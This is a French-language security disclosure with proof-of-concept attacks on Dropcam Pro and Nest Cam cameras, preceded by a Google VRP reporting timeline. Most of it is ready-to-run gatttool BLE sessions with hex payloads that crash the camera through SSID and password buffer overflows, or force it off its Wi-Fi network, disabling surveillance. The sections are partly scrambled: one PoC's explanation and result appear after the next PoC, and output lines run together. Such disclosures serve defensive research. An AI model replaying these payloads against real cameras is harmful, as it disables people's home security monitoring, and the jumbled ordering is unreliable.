
Divulgations de vulnérabilités PoC pour caméras IoT grand public, détaillant des attaques par débordement de tampon BLE et par désassociation WiFi capables de mettre les appareils hors ligne.
Concernés : Dropcam Pro, modèles Nest Cam Indoor/Outdoor
Dernière build concernée : 205-600052
Build partiellement corrigée : 205-600055
MISE À JOUR La dernière version du firmware 205-600055 ne corrige pas la vulnérabilité de dissociation Wi-Fi sur la Dropcam Pro. Si le réseau Wi-Fi fourni n'existe pas, le temps de réassociation a été amélioré et la caméra se reconnecte désormais en environ 10 secondes. Cependant, un réseau Wi-Fi valide peut toujours être fourni pour mettre la Dropcam hors ligne définitivement.
Calendrier de divulgation :
26 octobre 2016 : Signalement du bug de sécurité conformément aux directives du programme de récompenses de Google (Vulnerability Reward Program)
27 octobre 2016 : L'équipe de sécurité de Google a confirmé la réception du rapport et a indiqué qu'il était en cours d'examen
1er novembre 2016 : L'équipe de sécurité de Google a validé les vulnérabilités signalées et a ouvert un bug
15 novembre 2016 : Le comité VRP de Google a accordé une récompense de 100 $ dans le cadre des « Acquisitions non intégrées »
17 mars 2017 : Divulgation publique
Application iOS PoC par Troy Stribling :: NestPWN
Résumé
Il est possible de déclencher un débordement de tampon lors de la définition du paramètre SSID sur la caméra. L'attaquant doit se trouver à portée Bluetooth à tout moment pendant que la caméra est sous tension. Le Bluetooth n'est jamais désactivé, même après la configuration initiale.
Preuve de concept
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Détails
La charge utile (payload) tente de définir un SSID avec une longueur de 1 octet et en envoie 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
Résultat
Crash et redémarrage en état opérationnel
Résumé
Il est possible de déclencher un débordement de tampon lors de la définition du paramètre de mot de passe chiffré sur la caméra. L'attaquant doit se trouver à portée Bluetooth à tout moment pendant que la caméra est sous tension. Le Bluetooth n'est jamais désactivé, même après la configuration initiale.
Preuve de concept
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Résumé
Il est possible de déconnecter la caméra du Wi-Fi en lui fournissant un nouveau SSID auquel se connecter. Le stockage local des séquences vidéo n'étant pas pris en charge par ces caméras, la surveillance est temporairement désactivée. L'attaquant doit se trouver à portée Bluetooth à tout moment pendant que la caméra est sous tension. Le Bluetooth n'est jamais désactivé, même après la configuration initiale.
Preuve de concept
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Détails
La charge utile (payload) tente de définir le mot de passe Wi-Fi chiffré avec une longueur de 1 octet et en envoie 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
Résultat
Crash et redémarrage en état opérationnel
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> Détails
La charge utile (payload) tente de modifier le SSID associé de la Nest Cam, provoquant une dissociation temporaire du SSID Wi-Fi actuel.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
Résultat
La caméra se dissocie du réseau Wi-Fi actuel pour tenter de s'associer au nouveau SSID défini. Si le réseau Wi-Fi n'existe pas, la caméra sera hors ligne pendant environ 60 à 90 secondes avant de revenir au réseau Wi-Fi d'origine et de reprendre son fonctionnement normal. Si le réseau existe, elle vérifiera la connectivité Internet et restera sur le nouveau réseau.